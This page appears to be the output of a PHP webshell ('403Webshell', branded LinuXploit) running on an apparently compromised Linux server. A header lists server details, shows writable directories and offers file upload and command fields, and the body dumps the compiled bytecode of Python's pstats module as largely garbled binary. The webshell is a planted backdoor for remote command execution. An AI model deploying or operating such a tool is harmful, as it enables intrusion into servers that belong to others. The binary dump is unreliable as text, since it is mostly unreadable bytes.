403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.14/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.14/__pycache__/pstats.cpython-314.pyc
+
��3jfr����Rt^RIt^RIt^RIt^RIt^RIt^RIHtHt^RI	H
t
^RIHt.ROt
]!]4!R	R44t]!R
R7!RR44t]!R
R7!R
R44t!RR4t!RR4tRtRtRtRtRtRtRt]R8Xd�^RIt^RIt!RR]P<4t] !]PB4^8�d]PB^,t"MRt"]!]"4t#]PBR,Ft$]#PK]$4K	]&!R]#PNR7]#PQ4]&!R]#PNR7R#R# ]dL�i;i ])dR#i;i) z3Class for printing reports on profiled python code.N)�StrEnum�_simple_enum)�
cmp_to_key)�	dataclass�Stats�SortKey�FunctionProfile�StatsProfilec�Ja�]tRt^#toR	tR
tRtRtRtRt	Rt
RtRtRt
RtVtR#)
r�line�name�nfl�pcalls�stdnamec��V^,p\PW4pW#nVR,FpW0PV&K	WnV#)���NN)�str�__new__�_value_�_value2member_map_�_all_values)�cls�values�value�obj�other_values&*   �/usr/lib/python3.14/pstats.pyr�SortKey.__new__/sF���q�	���k�k�#�%����!�"�:�:�K�25�"�"�;�/�&� ���
��N)�calls�ncalls)�
cumulative�cumtime)�filename�module)�time�tottime)�__name__�
__module__�__qualname__�__firstlineno__�CALLS�
CUMULATIVE�FILENAME�LINE�NAME�NFL�PCALLS�STDNAME�TIMEr�__static_attributes__�__classdictcell__��
__classdict__s@rrr#s<�����E�(�J�#�H��D��D�
�C�
�F��G��D��r T)�unsafe_hashc�,a�]tRt^9toV3RltRtVtR#)rc�n<�V^8�dQh/S[;R&S[;R&S[;R&S[;R&S[;R&S[;R&S[;R&#)�r#r)�percall_tottimer%�percall_cumtime�	file_name�line_number)r�float�int)�formatr:s"�r�__annotate__�FunctionProfile.__annotate__9sZ�����K���N����	�
�N����
��N����r r!N)r*r+r,r-�__annotate_func__r7r8r9s@rrr9s����r c�0a�]tRt^CtoRtV3RltRtVtR#)r	z0Class for keeping track of an item in inventory.c�H<�V^8�dQh/S[;R&S[S[S[3,;R&#)r>�total_tt�
func_profiles)rC�dictrr)rEr:s"�rrF�StatsProfile.__annotate__Cs(�����O����_�,�-�-�	r r!N)r*r+r,r-�__doc__rHr7r8r9s@rr	r	Cs����:��r c��a�]tRt^ItoRtRR/RltRtRtRtRt	R	t
R
R'RR'RR(R
R(RR)RR*RR)RR+RR,RR-RR.RR/RR//
tRtRt
RtRtRtRtRtRtRtR tR!tR"tR0R#ltR$tR%tR&tVtR#)1rawThis class is used for creating reports from data generated by the
Profile class.  It is a "friend" of that class, and imports data either
by direct access to members of Profile class, or by reading in a dictionary
that was emitted (via marshal) from the Profile class.

The big change from the previous Profiler (in terms of raw functionality)
is that an "add()" method has been provided to combine Stats from
several distinct profile runs.  Both the constructor and the add()
method now take arbitrarily many file names as arguments.

All the print methods now take an argument that indicates how many lines
to print.  If the arg is a floating-point number between 0 and 1.0, then
it is taken as a decimal percentage of the available lines to be printed
(e.g., .1 means print 10% of all available lines).  If it is an integer,
it is taken to mean the number of lines of data that you wish to have
printed.

The sort_stats() method now processes some additional options (i.e., in
addition to the old -1, 0, 1, or 2 that are respectively interpreted as
'stdname', 'calls', 'time', and 'cumulative').  It takes either an
arbitrary number of quoted strings or SortKey enum to select the sort
order.

For example sort_stats('time', 'name') or sort_stats(SortKey.TIME,
SortKey.NAME) sorts on the major key of 'internal function time', and on
the minor key of 'the name of the function'.  Look at the two tables in
sort_stats() and get_sort_arg_defs(self) for more examples.

All methods return self, so you can string together commands like:
    Stats('foo', 'goo').strip_dirs().sort_stats('calls').                            print_stats(5).print_callers(5)
�streamNc���T;'g\PVn\V4'gRpMV^,pVR,pVP	V4VP
!V!R#)Nr)�sys�stdoutrQ�len�init�add)�selfrQ�args�args&$* r�__init__�Stats.__init__ksK���*�*��
�
����4�y�y��C��q�'�C���8�D��	�	�#�����$�r c��RVn.VnRVn^Vn^Vn^Vn^Vn\4Vn/Vn	/Vn
VPV4VP4R# \dF\RTP'dTPR,MR,TPR7hi;i)NzInvalid timing data %s���file���)�all_callees�files�fcn_listrK�total_calls�
prim_calls�max_name_len�set�	top_level�stats�
sort_arg_dict�
load_stats�get_top_level_stats�	Exception�printrQ)rXrZs&&rrV�
Stats.initus��������
���
���
����������������
���������	��$�$�&���	��*�%)�Z�Z�Z�4�:�:�b�>�R�9�?C�{�{�
L��	�s
�!A3�3ACc�^�Vf
/VnR#\V\4'd�\VR4;_uu_4p\P
!V4VnRRR4\P!V4p\P!VP4R,V,pT.TnM:\VR4'd)VP4VPVn/VnVP'g\RVP:RV:24hR# +'giL�;i L�;i)N�rbz    �create_statszCannot create or construct a z
 object from )rj�
isinstancer�open�marshal�load�os�statr(�ctime�st_mtimerc�hasattrrs�	TypeError�	__class__)rXrZ�f�
file_statss&&  rrl�Stats.load_stats�s����;��D�J��
��S�
!�
!��c�4���A�$�\�\�!�_��
�!�
��W�W�S�\�
��j�j��!4�!4�5��>��D����D�J�
�S�.�
)�
)��������D�J��C�I��z�z�z��#�~�~�s�4�5�
5��!���

��s�D�AD(�D%	�(D,c��VPP4F�wpwr#rEpV;PV,
unV;PV,
unV;PV,
unRV9dVP
P
V4\\V44VP8�gK�\\V44Vn	K�	R#)�jprofileN)r�r�profiler)
rj�itemsrerfrKrirWrU�func_std_stringrg)rX�func�cc�nc�tt�ct�callerss&      rrm�Stats.get_top_level_stats�s���/3�z�z�/?�/?�/A�+�D�+�2�2�7�����"���O�O��"�O��M�M��"�M�*�g�5����"�"�4�(��?�4�(�)�D�,=�,=�=�$'���(=�$>��!�0Br c�0�V'gV#\V4EF{p\V4\V48wd\V4pV;PVP,
unV;PVP,
unV;P
VP
,
unV;PVP,
unVPFpVPPV4K 	VPVP8dVPVn	RVn
VPP4FHwr4W0P9dVPV,pM^^^^/3p\WT4VPV&KJ	EK~	V#�N)�reversed�typerrcrerfrKrirWrgrdrjr��add_func_stats)rX�arg_list�itemr�ry�
old_func_stats&*    rrW�	Stats.add�s%����K��X�&�D��D�z�T�$�Z�'��T�{���J�J�$�*�*�$�J����� 0� 0�0���O�O�t���.�O��M�M�T�]�]�*�M��������"�"�4�(�'�� � �4�#4�#4�4�$(�$5�$5��!� �D�M�"�j�j�.�.�0�
���:�:�%�$(�J�J�t�$4�M�%&��1�a��$5�M�#1�-�#F��
�
�4� �1�'�*�r c��\VR4;_uu_4p\P!VPV4RRR4R# +'giR#;i)z:Write the profile data to a file we know how to load back.�wbN)rurv�dumprj)rXr&rs&& r�
dump_stats�Stats.dump_stats�s2��
�(�D�
!�
!�Q��L�L����Q�'�"�
!�
!�
!�s�"A�A	r"r#r%r$r&rr'rr
rrr(r)c���VP'g[/;Vnp/pVPP4F&wr4TpV'gKWQ9d^W%&KWAV&VRRpK!	VFpWK	VP#)z)Expand all abbreviations that are unique.Nra)rk�sort_arg_dict_defaultr�)rXrM�bad_list�word�tup�fragments&     r�get_sort_arg_defs�Stats.get_sort_arg_defs�s����!�!�!�(*�*�D����H�!�7�7�=�=�?�	�����h��'�-.��*��%(��N�'���}�H�@�!���J�!��!�!�!r c��V'g
^VnV#\V4^8Xd8\V^,\4'dR
R^R^R^R/V^,,.pMK\V4^8�d<VR,F.p\	V4\	V^,48wgK%\R4h	VP
4pRpRVnRpVFjp\V\4'd
VPpWCV,^,,pV;PWSV,^,,,
unRpKl	.pVPP4F6wpwr�r�p
VPW�W�3V,\V4V3,4K8	VP\\!V4P"4R	7.;VnpVFpVPVR
,4K	V#)rrr"r(r$rzCan't have mixed argument typer^z, )�keyrar!)rdrUrtrDr�r}r��	sort_typerrrjr��appendr��sortr�	TupleComp�compare)rX�fieldrZ�
sort_arg_defs�
sort_tuple�	connectorr��
stats_listr�r�r�r�r�r�rd�tuples&*              r�
sort_stats�Stats.sort_stats�s�����D�M��K��u�:��?�z�%��(�C�8�8��9��7��6��<�)�*/�q��3�5�E���Z�1�_��R�y�y����9��U�1�X��.�#�$D�E�E�!��.�.�0�
��
�����	��D��$��(�(��z�z��#�D�&9�!�&<�<�J��N�N�i��*=�a�*@�@�@�N��I���
�/3�z�z�/?�/?�/A�+�D�+�2�2�7����r�r�.��5�.�t�4�d�;�<�
=�0B�	���J�y��'<�'D�'D�E��F�#%�%��
���E��O�O�E�"�I�&� ��r c�^�VP'dVPP4V#r�)rd�reverse�rXs&r�
reverse_order�Stats.reverse_orders ���=�=�=��M�M�!�!�#��r c	�$�VPp/;Vnp^pVP4F�wpwrVrxp	\V4p
\\	V
44V8�d\\	V
44p/pV	P4Fwr�W�\V4&K	W�9d\W*,WVWxV34W*&K�WVWxV3W*&K�	VPp\4;VnpVFpVP\V44K	W0n	RVn
RVnV#)rN)rjr��func_strip_pathrUr�r�rirhrWrgrdrb)rX�oldstats�newstatsrgr�r�r�r�r�r��newfunc�
newcallers�func2�caller�old_top�new_tops&               r�
strip_dirs�Stats.strip_dirss���:�:�� "�"��
�X���/7�~�~�/?�+�D�+�2�2�7�%�d�+�G��?�7�+�,�|�;�"�?�7�#;�<���J�!(����
��5;�?�5�1�2�"1��"�$2�(0�(9�)+���(D�%F��!�&(�R�Z�$@��!�0@��.�.��#&�5�(�����D��K�K���-�.��)����
�����r c��VP'dR#/;VnpVPP4FBwpwr4rVpW!9g/W&VP4Fwr�W�9g/W&W�V,V&K	KD	R#r�)rbrjr�)
rXrbr�r�r�r�r�r�r�r�s
&         r�calc_callees�Stats.calc_callees3s��������)+�+���;�/3�z�z�/?�/?�/A�+�D�+�2�2�7��&�$&��!�!(����
���+�)+�K�&�,2�E�"�4�(�"1�0B�	r c���Tp\V\4'dW\P!V4p.pTF6pTP\
T44'gK%TPT4K8	M�\V4p\V\4'd1RTu;8:dR8d"MM\Wq,R,4pVRVpM/\V\4'd^Tu;8:dV8dMMTpVRVp\V4\V48wd)VR\V4:R\V4:RV:R2,
pWC3# \PdTRT,,
pYC3u#i;i)	z#   <Invalid regular expression %r>
gg�?g�?Nz   List reduced from z to z due to restriction <z>
)rtr�re�compile�PatternError�searchr�r�rUrCrD)rX�sel�list�msg�new_list�rexr��counts&&&&    r�eval_print_amount�Stats.eval_print_amountFs%�����c�3���
%��j�j��o���H����:�:�o�d�3�4�4��O�O�D�)����I�E��#�u�%�%�#��*:�s�*:��E�K�"�,�-�����<���C��%�%�!�s�*:�U�*:������<���t�9��H�
�%���D�	�3�x�=�#�/�
/�C��}���'�?�?�
%��=��C�C���}�$�
%�s�D3�3(E�Ec
���VP'dVPR,M"\VPP44pV'g
\	^/4#\\
VP44p/p\	W#4pVF�pVPV,wrgr�p
Vwr�p
Wv8Xd\V4M!\V4R,\V4,p\\
V44pV^8XdRM\\
W�,44p\\
V	44pV^8XdRM\\
W�,44p\VVVVVVV4pVW=&K�	V#)aThis method returns an instance of StatsProfile, which contains a mapping
of function names to instances of FunctionProfile. Each FunctionProfile
instance holds information related to the function's profile such as how
long the function took to run, how many times it was called, etc...
�NNN�/ra)
rdr�rj�keysr	rC�f8rKrr)rX�	func_listrKrL�
stats_profiler�r�r�r�r�r�rArB�	func_namer#r)r?r%r@�func_profiles&                   r�get_stats_profile�Stats.get_stats_profile`s"��)-�
�
�
�D�M�M�!�$�4��
�
���@Q�;R�	����2�&�&���D�M�M�*�+���
�$�X�=�
��D�&*�j�j��&6�#�B�B�G�04�-�I�I� "��S��W�s�2�w��}�s�2�w�/F�F��B�r�F�m�G�$&�!�G�b��r�"�%�y�1A�O��B�r�F�m�G�$&�!�G�b��r�"�%�y�1A�O�*���������L�(4�M�$�#�&�r c�6�VPpVP'd/VPR,pRVP,R,pM%\VPP44pRpVFpVP
WSV4wr4K	\V4pV'g^V3#\W@PR7V\VP48d;^pVF2p\\V44V8�gK\\V44pK4	V^,V3#)r�z   Ordered by: �
z!   Random listing order was used
r_)rgrdr�r�rjr�r�rUrorQr�)rX�sel_list�width�	stat_listr��	selectionr�r�s&&      r�get_print_list�Stats.get_print_list�s����!�!���=�=�=��
�
�a�(�I�#�d�n�n�4�t�;�C��T�Z�Z�_�_�.�/�I�6�C�!�I�!�3�3�I�#�N�N�I�s�"��I�����i�<��
�c���$��3�t�z�z�?�"��E�!�����-�.��6���� 5�6�E�"��Q�w�	�!�!r c�@�VPFp\W PR7K	VP'd\VPR7RpVPF$p\V\	V4VPR7K&	\W0P
RRVPR7VP
VP8wd*\RVP,RVPR7\RVP,VPR7\VPR7VPV4wrVV'dWVP4VFpVPV4K	\VPR7\VPR7V#)r_� zfunction calls��endr`z(%d primitive calls)zin %.3f seconds�        )rcrorQri�func_get_function_namererfrKr��print_title�
print_line)rX�amountr&�indentr�r�r�s&*     r�print_stats�Stats.print_stats�s���
�
�H��(���-�#��:�:�:��t�{�{�#����N�N�D��&�0��6�T�[�[�I�#�	�f�&�&�(8�c����T����t���.��(�4�?�?�:��$�+�+�V�
��$�-�-�/�d�k�k�B�
�4�;�;���)�)�&�1��������������%���t�{�{�#��t�{�{�#��r c�x�VPV4wr#V'd�VP4VPVR4VFJpW@P9d&VP	W$VPV,4K8VP	W$/4KL	\VPR7\VPR7V#)z	called...r_)r�r��print_call_headingrb�print_call_linerorQ)rXr�r�r�r�s&*   r�
print_callees�Stats.print_callees�s����)�)�&�1���������#�#�E�;�7����+�+�+��(�(��d�6F�6F�t�6L�M��(�(��b�9�	�

�t�{�{�#��t�{�{�#��r c��VPV4wr#V'drVPVR4VF-pVPV,wrVrxp	VPW$V	R4K/	\	VP
R7\	VP
R7V#)zwas called by...z<-r_)r�r�rjr�rorQ)
rXr�r�r�r�r�r�r�r�r�s
&*        r�
print_callers�Stats.print_callers�sx���)�)�&�1�����#�#�E�+=�>���*.�*�*�T�*:�'�����$�$�U�'�4�@��
�t�{�{�#��t�{�{�#��r c��\RPV4V,VPR7RpVPP	4FCwrErgpV'gK\\
VP	444p	\V	\4pM	V'd(\RV,R,VPR7R#R#)z	Function r_Fr�z    ncalls  tottime  cumtimeN)	ro�ljustrQrjr�next�iterrtr�)
rX�	name_size�column_title�	subheaderr�r�r�r�r�rs
&&&       rr��Stats.print_call_heading�s���
�k���	�*�\�9����L��	�'+�z�z�'8�'8�':�#�B�B�G��w��T�'�.�.�"2�3�4��&�u�e�4�	��	(;�
��#�i�-�"@�@�t�{�{�S�r c	���\\V4PV4V,RVPR7V'g\VPR7R#\	VP44pRpVF�p\V4pW7,p	\
V	\4'dtV	wr�r�W�8wdRW�3,pM
RV
3,pVP^^\V4,,4:R\V4:R\V
4:RV:2pV^,pM7V:RV	:R	\VPV,^,4:2pV^,p\Wo,V,VPR7RpK�	R#)
r�r�r_Nr^z%d/%dz%dz  �(z) )ror�r�rQ�sortedr�rtr��rjustrUr�rj)rXr��source�	call_dict�arrow�clistr�r�rrr�r�r�r��substats�
left_widths&&&&&           rr��Stats.print_call_line�s��
�o�f�%�+�+�I�6��>�C�d�k�k�Z���t�{�{�#���y�~�~�'�(�����D�"�4�(�D��O�E��%��'�'�!&�����8�&�"��1�H�#�r�e�|�H�-5�^�^�A�a��F��m�O�-L�-/��V�R��V�T�C��&��]�
�*.��r�$�*�*�T�:J�1�:M�7N�O��&��]�
��&�#�h�.�T�[�[�A��F�!r c�d�\RRVPR7\RVPR7R#)z-   ncalls  tottime  percall  cumtime  percallr�r�zfilename:lineno(function)r_N�rorQr�s&rr��Stats.print_title�s"��
�=�3�T�[�[�Y�
�)����<r c��VPV,wr#rEp\V4pW28wdVR,\V4,p\VP^	4RVPR7\\V4RVPR7V^8Xd\RRVPR7M'\\WC,4RVPR7\\V4RVPR7V^8Xd\RRVPR7M'\\WR,4RVPR7\\
V4VPR7R#)r�r�r�r_Nr�)rjrrorrQr�r�)rXr�r�r�r�r�r��cs&&      rr��Stats.print_line�s���"&�*�*�T�"2�������G��
�8��C��#�b�'�!�A�
�a�g�g�a�j�c����4�
�b��f�#�D�K�K�0�
��7��%�S�t�{�{�3��"�R�U�)��4�;�;�7�
�b��f�#�D�K�K�0�
��7��%�S�t�{�{�3��"�R�U�)��4�;�;�7�
�o�d�#�$�+�+�6r )rbrdrcrgrfrkr�rjrQrirerK)))rraz
call count)))�razcumulative time))��rz	file name))��rzline number))��rz
function name))rrrzname/file/line)))rrazprimitive call count)))�rz
standard name)))r>raz
internal time)z->)r*r+r,r-rOr[rVrlrmrWr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r7r8r9s@rrrIs������B�T���&�,?��4(��C��C��H��H��B��D��B��F��G��M��F��F��F��� "�"%�N�
�:�&�4!�F"�0�.
�	�
T��2=�7�7r c�0a�]tRtRtoRtRtRtRtVtR#)r�ia�This class provides a generic function for comparing any two tuples.
Each instance records a list of tuple-indices (from most significant
to least significant), and sort direction (ascending or descending) for
each tuple-index.  The compare functions can then be used as the function
argument to the system sort() function when a list of tuples need to be
sorted in the instances order.c��WnR#r���comp_select_list)rXrs&&rr[�TupleComp.__init__s�� 0�r c�z�VPF*wr4W,pW#,pWV8dV)u#WV8�gK(Vu#	^#)rr)rX�left�right�index�	direction�l�rs&&&    rr��TupleComp.compares@�� $� 5� 5��E���A���A��u�!�z�!��u� � �
!6�r rN)	r*r+r,r-rOr[r�r7r8r9s@rr�r�s����&�1��r r�c�N�Vwrp\PPV4W#3#r�)rx�path�basename)r�r&rrs&   rr�r� s&��$��H�D�
�7�7���H�%�t�1�1r c��V^,#)r>r!)r�s&rr�r�$s����7�Nr c��VR,R8XdFV^,pVPR4'd$VPR4'd
RV^R,#V#RV,#):Nr>N�<�>z{%s}z	%s:%d(%s))�~rra)�
startswith�endswith)r�rs& rr�r�'sU����}�� ���|���?�?�3���D�M�M�#�$6�$6��D��2�J�&�&��K��Y�&�&r c�j�Vwr#rEpVwrxr�pW',W8,WI,WZ,\W�43#)z3Add together all the stats for two profile entries.)�add_callers)�targetrr�r�r�r�r��t_cc�t_nc�t_tt�t_ct�	t_callerss&&          rr�r�8s=��$��B�B�G�(.�%�D��I��G�R�W�b�g�r�w��)�-�/�/r c	��/pVP4F	wr4WBV&K	VP4F�wr4W29d}\V\4'dQ\;QJd$.R\WBV,44FNK	5M!R\WBV,444W#&KqW#;;,V,
uu&K�WBV&K�	V#)z*Combine two caller lists in a single list.c3�6"�TFwrW,x�K	R#5ir�r!)�.0�i�js&  r�	<genexpr>�add_callers.<locals>.<genexpr>Hs���)[�<Z�D�A�!�%�%�<Z�s�)r�rtr��zip)r5r�new_callersr�r�s&&   rr4r4?s����K�������"�D��'����������&�%�(�(�$)�E�)[�C��TX�HY�<Z�)[�E�E�)[�C��TX�HY�<Z�)[�$[��!��!�V�+�!� &���'��r c�H�^pVP4FpW,
pK
	V#)z@Sum the caller statistics to get total number of calls received.)r)r�r�r"s&  r�count_callsrEPs$��	
�B����!��
���"�
�Ir c��RV,#)z%8.3fr!)�xs&rr�r�[s���Q�;�r �__main__c�a�]tRtRtoRRltRtRtRtRtRt	R	t
R
tRtRt
R
tRtRtRtRtRtRtRtRtRtRtRtRtRtRtRtRtVtR#)�ProfileBrowseriiNc��\PPV4RVnRVn\
PVnVeVPV4R#R#)�% N)	�cmd�Cmdr[�promptrjrSrTrQ�do_read)rX�profiles&&rr[�ProfileBrowser.__init__jsD���G�G���T�"��D�K��D�J��*�*�D�K��"����W�%�#r c���VP4p.pVFpVP\V44K 	VP'd\VPV4!V!^#\RVPR7^# \dMi;i\	T4pT^8�gT^8d\RTPR7K�TPT4K� \dMi;iTPT4K�)rz#Fraction argument must be in [0, 1]r_�No statistics object is loaded.)	�splitr�rD�
ValueErrorrCrorQrj�getattr)rX�fnrrY�	processed�term�fracs&&&    r�generic�ProfileBrowser.genericrs����:�:�<�D��I�����$�$�S��Y�/��� �z�z�z���
�
�B�'��3���7�d�k�k�J���!"������ ��;�D��a�x�4�!�8��C�$�+�+�V� ��$�$�T�*���!������ � ��&s)�A>�>B�B�0C�C�C#�"C#c��\RVPR7\RVPR7\RVPR7\RVPR7\RVPR7\RVPR7R#)zArguments may be:r_z0* An integer maximum number of entries to print.z:* A decimal fractional number between 0 and 1, controllingz-  what fraction of selected entries to print.z8* A regular expression; only entries with function namesz  that match it are printed.Nrr�s&r�generic_help�ProfileBrowser.generic_help�sb���%�D�K�K�8��D�4�;�;�W��N�UY�U`�U`�a��A����T��L�SW�S^�S^�_��0�t�{�{�Cr c��VP'dVPPV4^#\RVPR7^# \d+p\RT:RT:2TPR7Rp?^#Rp?ii;i)zFailed to load statistics for z: r_NrT)rjrW�OSErrorrorQ)rXr�es&& r�do_add�ProfileBrowser.do_add�sl���z�z�z�`��J�J�N�N�4�(�
��7�d�k�k�J���	�`��D�!�L�SW�S^�S^�_�_���	`�s�A
�
A?�A:�:A?c�4�\RVPR7R#)z>Add profile info from given file to current statistics object.r_Nrr�s&r�help_add�ProfileBrowser.help_add�s���R�Y]�Yd�Yd�er c�&�VPRV4#)r��r\�rXrs&&r�
do_callees�ProfileBrowser.do_callees�����<�<���6�6r c�T�\RVPR7VP4R#)z6Print callees statistics from the current stat object.r_N�rorQr_r�s&r�help_callees�ProfileBrowser.help_callees�� ���J�QU�Q\�Q\�]����r c�&�VPRV4#)r�rjrks&&r�
do_callers�ProfileBrowser.do_callers�rnr c�T�\RVPR7VP4R#)z6Print callers statistics from the current stat object.r_Nrpr�s&r�help_callers�ProfileBrowser.help_callers�rsr c�4�\RVPR7^#)r^r_rrks&&r�do_EOF�ProfileBrowser.do_EOF�s���"�4�;�;�'�r c�4�\RVPR7R#�zLeave the profile browser.r_Nrr�s&r�help_EOF�ProfileBrowser.help_EOF�����.�T�[�[�Ar c��^#)rr!rks&&r�do_quit�ProfileBrowser.do_quit�s��r c�4�\RVPR7R#r~rr�s&r�	help_quit�ProfileBrowser.help_quit�r�r c��V'd"\V4VnTR,Tn	^#\VP4^8�d#VPRRpVPV4^#\RVP
R7^# \d4p\TP^,TP
R7Rp?R#Rp?i\d>p\TPPR,Y P
R7Rp?R#Rp?ii;i)rr_N�:rLz1No statistics object is current -- cannot reload.���)rrjrbrorYrQrnr~r*rOrUrP)rXr�errs&& rrP�ProfileBrowser.do_read�s�����!&�t��D�J�#�T�k�����T�[�[�!�A�%��{�{�3�B�'�����T�"���I�PT�P[�P[�\������#�(�(�1�+�D�K�K�8��� ���#�-�-�0�0�3�6��+�+�N����s)�A?�?D�
(B8�8D�D�2C>�>Dc�b�\RVPR7\RVPR7R#)z+Read in profile data from a specified file.r_z*Without argument, reload the current file.Nrr�s&r�	help_read�ProfileBrowser.help_read�s ���?�d�k�k�R��>�T�[�[�Qr c��VP'dVPP4^#\RVPR7^#)rTr_)rjr�rorQrks&&r�
do_reverse�ProfileBrowser.do_reverse�s4���z�z�z��
�
�(�(�*���7�d�k�k�J�r c�4�\RVPR7R#)z/Reverse the sort order of the profiling report.r_Nrr�s&r�help_reverse�ProfileBrowser.help_reverse�s���C�$�+�+�Vr c�ta�VP'g\RVPR7R#VPP4oV'd�\;QJd-V3RlVP44F'dKRM"	RM!V3RlVP444'd+VPP!VP4!^#\RVPR7\PP4F*wr#\V:RV^,:2VPR7K,	^#)rTr_Nc3�,<"�TF	qS9x�K	R#5ir�r!)r=rG�abbrevss& �rr@�)ProfileBrowser.do_sort.<locals>.<genexpr>�s����A�L�q�'�\�L�s�FTz/Valid sort keys (unique prefixes are accepted):z -- )
rjrorQr��allrUr�rr�r�)rXrr�rr�s&&  @r�do_sort�ProfileBrowser.do_sort�s�����:�:�:��7�d�k�k�J���j�j�2�2�4�G����A�D�J�J�L�A����A�D�J�J�L�A�A�A��
�
�%�%�t�z�z�|�4�
��G�d�k�k�Z�$)�$?�$?�$E�$E�$G�L�S���U�1�X�6�T�[�[�I�%H�r c�b�\RVPR7\RVPR7R#)z.Sort profile data according to specified keys.r_z3(Typing `sort' without arguments lists valid keys.)Nrr�s&r�	help_sort�ProfileBrowser.help_sort�s ���B����U��G�d�k�k�Zr c�|�\PUu.uFq3PV4'gKVNK	up#uupir�)rr�r1)rX�textrY�as&&* r�
complete_sort�ProfileBrowser.complete_sort�s-��$�:�:�Q�:�!�l�l�4�>P�A�A�:�Q�Q��Qs�9�9c�&�VPRV4#)r�rjrks&&r�do_stats�ProfileBrowser.do_stats�s���<�<�
�t�4�4r c�T�\RVPR7VP4R#)z.Print statistics from the current stat object.r_Nrpr�s&r�
help_stats�ProfileBrowser.help_stats�s���B����U����r c��VP'dVPP4R#\RVPR7R#)rTr_N)rjr�rorQrks&&r�do_strip�ProfileBrowser.do_strip�s*���z�z�z��
�
�%�%�'��7�d�k�k�Jr c�4�\RVPR7R#)z<Strip leading path information from filenames in the report.r_Nrr�s&r�
help_strip�ProfileBrowser.help_strip�s���P�W[�Wb�Wb�cr c�4�\RVPR7R#)zShow help for a given command.r_Nrr�s&r�	help_help�ProfileBrowser.help_help�s���2����Er c��V'dV#R#r�r!)rX�stoprs&&&r�postcmd�ProfileBrowser.postcmd�s
�����r )rOrjrQr�) r*r+r,r-r[r\r_rdrgrlrqrurxr{rr�r�rPr�r�r�r�r�r�r�r�r�r�r�r�r7r8r9s@rrJrJis�����	&�	�0	D�	�	f�	7�	 �	7�	 �	�	B�	�	B�	�"	R�	�	W�	�	[�	R�	5�	 �	K�
	d�	F�	�	r rJ:r>NNz*Welcome to the profile statistics browser.r_zGoodbye.)rrrr	)*rOrSrxr(rvr��enumrr�	functoolsr�dataclassesr�__all__rrr	rr�r�r�r�r�r4rEr�r*rM�readline�ImportErrorrNrJrU�argv�initprofile�browserrQrdrorQ�cmdloop�KeyboardInterruptr!r r�<module>r�s���9�,�	���	�&� �!�
A��
�g������*�t�������t��.�.��.�
|7�|7�|
��22��	'�"/��"���z���
��P����P�d�3�8�8�}�q���h�h�q�k����
� ��-���x�x��|�|�G��N�N�7�#�$�
�:����P�����
�j�w�~�~�.�G���
��
��@�
��
�s%�%E�,A+E(�E%�$E%�(E3�2E3

Youez - 2016 - github.com/yon3zu
LinuXploit